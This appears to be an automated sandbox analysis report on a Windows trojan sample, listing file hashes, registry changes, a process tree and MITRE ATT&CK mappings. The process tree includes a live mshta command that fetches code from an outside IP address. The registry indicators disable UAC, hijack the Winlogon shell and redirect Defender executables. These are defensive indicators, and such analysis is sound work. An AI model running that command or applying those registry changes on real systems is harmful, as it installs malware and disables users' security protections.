69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e

Reason

Machine shutdown

General

Target

02910399.exe
Size

1023KB
MD5

981931159e45242cc1c3dcbdb47846d7
SHA1

875bd5c00a30df19216e7f08bc18d97490ed25a6
SHA256

69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e
SHA512

ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce
SSDEEP

24576:A+nV9M1Yek6EYqNc4p9cAnlwDUctAaxu190ryaJqc5D9X32pVa:A+nsr1E66eAnEUc6CuEryaJqc5RWpVa

Score

10^/10

evasion persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://93.115.82.248/?0=1&1=1&2=9&3=i&4=7601&5=1&6=1111&7=yjqocjklgg

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2647223082-2067913677-935928954-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\guard-braq.exe"	guard-braq.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-braq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-braq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-braq.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	808	mshta.exe

Sets file execution options in registry 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	guard-braq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe	guard-braq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe\Debugger = "svchost.exe"	guard-braq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	guard-braq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	guard-braq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	guard-braq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "svchost.exe"	guard-braq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe	guard-braq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe\Debugger = "svchost.exe"	guard-braq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe	guard-braq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe\Debugger = "svchost.exe"	guard-braq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	guard-braq.exe

Deletes itself 1 IoCs

pid	Process
1096	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1812	guard-braq.exe

Loads dropped DLL 2 IoCs

pid	Process
1852	02910399.exe
1852	02910399.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-braq.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.dyndns.org

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	guard-braq.exe
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	guard-braq.exe
File opened for modification	C:\Windows\SysWOW64\services.msc	guard-braq.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe
1812	guard-braq.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1812	guard-braq.exe
Token: SeShutdownPrivilege	1812	guard-braq.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1812	guard-braq.exe
1812	guard-braq.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1812	guard-braq.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1852	02910399.exe
1812	guard-braq.exe
1812	guard-braq.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1852 wrote to memory of 1812	1852	02910399.exe	27
PID 1852 wrote to memory of 1812	1852	02910399.exe	27
PID 1852 wrote to memory of 1812	1852	02910399.exe	27
PID 1852 wrote to memory of 1812	1852	02910399.exe	27
PID 1852 wrote to memory of 1096	1852	02910399.exe	28
PID 1852 wrote to memory of 1096	1852	02910399.exe	28
PID 1852 wrote to memory of 1096	1852	02910399.exe	28
PID 1852 wrote to memory of 1096	1852	02910399.exe	28
PID 1812 wrote to memory of 808	1812	guard-braq.exe	30
PID 1812 wrote to memory of 808	1812	guard-braq.exe	30
PID 1812 wrote to memory of 808	1812	guard-braq.exe	30
PID 1812 wrote to memory of 808	1812	guard-braq.exe	30

System policy modification 1 TTPs 5 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	guard-braq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	guard-braq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	guard-braq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	guard-braq.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "0"	guard-braq.exe

C:\Users\Admin\AppData\Local\Temp\02910399.exe
"C:\Users\Admin\AppData\Local\Temp\02910399.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Users\Admin\AppData\Roaming\guard-braq.exe
  C:\Users\Admin\AppData\Roaming\guard-braq.exe
  2⤵
  - Modifies WinLogon for persistence
  - UAC bypass
  - Sets file execution options in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1812
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://93.115.82.248/?0=1&1=1&2=9&3=i&4=7601&5=1&6=1111&7=yjqocjklgg"
    3⤵
    - Blocklisted process makes network request
    PID:808
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\02910399.exe" >> NUL
  2⤵
  - Deletes itself
  PID:1096

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
1⤵
PID:2032

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
1⤵
PID:1748

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

Winlogon Helper DLL

Privilege Escalation

Bypass User Account Control

1

T1088

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

Modify Registry

Credential Access

Discovery

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\guard-braq.exe

Filesize
1023KB

MD5
981931159e45242cc1c3dcbdb47846d7

SHA1
875bd5c00a30df19216e7f08bc18d97490ed25a6

SHA256
69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e

SHA512
ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce

Download Submit
C:\Users\Admin\AppData\Roaming\guard-braq.exe

Filesize
1023KB

MD5
981931159e45242cc1c3dcbdb47846d7

SHA1
875bd5c00a30df19216e7f08bc18d97490ed25a6

SHA256
69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e

SHA512
ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce

Download Submit
C:\Users\Admin\AppData\Roaming\guard-braq.exe

Filesize
1023KB

MD5
981931159e45242cc1c3dcbdb47846d7

SHA1
875bd5c00a30df19216e7f08bc18d97490ed25a6

SHA256
69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e

SHA512
ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce

Download Submit
\Users\Admin\AppData\Roaming\guard-braq.exe

Filesize
1023KB

MD5
981931159e45242cc1c3dcbdb47846d7

SHA1
875bd5c00a30df19216e7f08bc18d97490ed25a6

SHA256
69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e

SHA512
ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce

Download Submit
\Users\Admin\AppData\Roaming\guard-braq.exe

Filesize
1023KB

MD5
981931159e45242cc1c3dcbdb47846d7

SHA1
875bd5c00a30df19216e7f08bc18d97490ed25a6

SHA256
69461917822ca791194992d7b7d01e12afbf0eb86ae327b3fb86df01012e060e

SHA512
ffad32e77bcd989a20e1226021280204ded3e4ba7987e02978859be966e454785a0c0e196397378ad47d57f251764aeade3836127fe94ef67800342591fc63ce

Download Submit
memory/1748-101-0x00000000026E0000-0x00000000026E1000-memory.dmp

Filesize
4KB

Download
memory/1812-93-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download
memory/1812-92-0x0000000000850000-0x00000000008AF000-memory.dmp

Filesize
380KB

Download
memory/1812-96-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/1812-88-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/1812-97-0x0000000000850000-0x00000000008AF000-memory.dmp

Filesize
380KB

Download
memory/1812-99-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/1812-100-0x0000000000850000-0x00000000008AF000-memory.dmp

Filesize
380KB

Download
memory/1852-70-0x0000000002400000-0x0000000002401000-memory.dmp

Filesize
4KB

Download
memory/1852-54-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/1852-65-0x0000000002070000-0x0000000002071000-memory.dmp

Filesize
4KB

Download
memory/1852-64-0x0000000002040000-0x0000000002041000-memory.dmp

Filesize
4KB

Download
memory/1852-63-0x00000000003D0000-0x00000000003D1000-memory.dmp

Filesize
4KB

Download
memory/1852-62-0x00000000006A0000-0x00000000006A1000-memory.dmp

Filesize
4KB

Download
memory/1852-60-0x00000000006C0000-0x00000000006C1000-memory.dmp

Filesize
4KB

Download
memory/1852-59-0x00000000003C0000-0x00000000003C1000-memory.dmp

Filesize
4KB

Download
memory/1852-58-0x0000000000320000-0x0000000000321000-memory.dmp

Filesize
4KB

Download
memory/1852-57-0x00000000006B0000-0x00000000006B1000-memory.dmp

Filesize
4KB

Download
memory/1852-56-0x00000000003F0000-0x00000000003F1000-memory.dmp

Filesize
4KB

Download
memory/1852-78-0x00000000002B0000-0x00000000002B1000-memory.dmp

Filesize
4KB

Download
memory/1852-67-0x0000000002030000-0x0000000002031000-memory.dmp

Filesize
4KB

Download
memory/1852-68-0x0000000002010000-0x0000000002011000-memory.dmp

Filesize
4KB

Download
memory/1852-69-0x0000000002060000-0x0000000002061000-memory.dmp

Filesize
4KB

Download
memory/1852-66-0x00000000006E0000-0x00000000006E1000-memory.dmp

Filesize
4KB

Download
memory/1852-87-0x00000000038B0000-0x0000000003A3A000-memory.dmp

Filesize
1.5MB

Download
memory/1852-71-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/1852-72-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/1852-90-0x0000000000400000-0x000000000058A000-memory.dmp

Filesize
1.5MB

Download
memory/1852-91-0x00000000002C0000-0x000000000031F000-memory.dmp

Filesize
380KB

Download
memory/1852-73-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/1852-74-0x0000000002420000-0x0000000002421000-memory.dmp

Filesize
4KB

Download
memory/1852-75-0x00000000023E0000-0x00000000023E1000-memory.dmp

Filesize
4KB

Download
memory/1852-76-0x0000000002050000-0x0000000002051000-memory.dmp

Filesize
4KB

Download
memory/1852-55-0x00000000002C0000-0x000000000031F000-memory.dmp

Filesize
380KB

Download
memory/1852-77-0x0000000003230000-0x0000000003233000-memory.dmp

Filesize
12KB

Download
memory/1852-61-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/2032-98-0x00000000027C0000-0x00000000027C1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads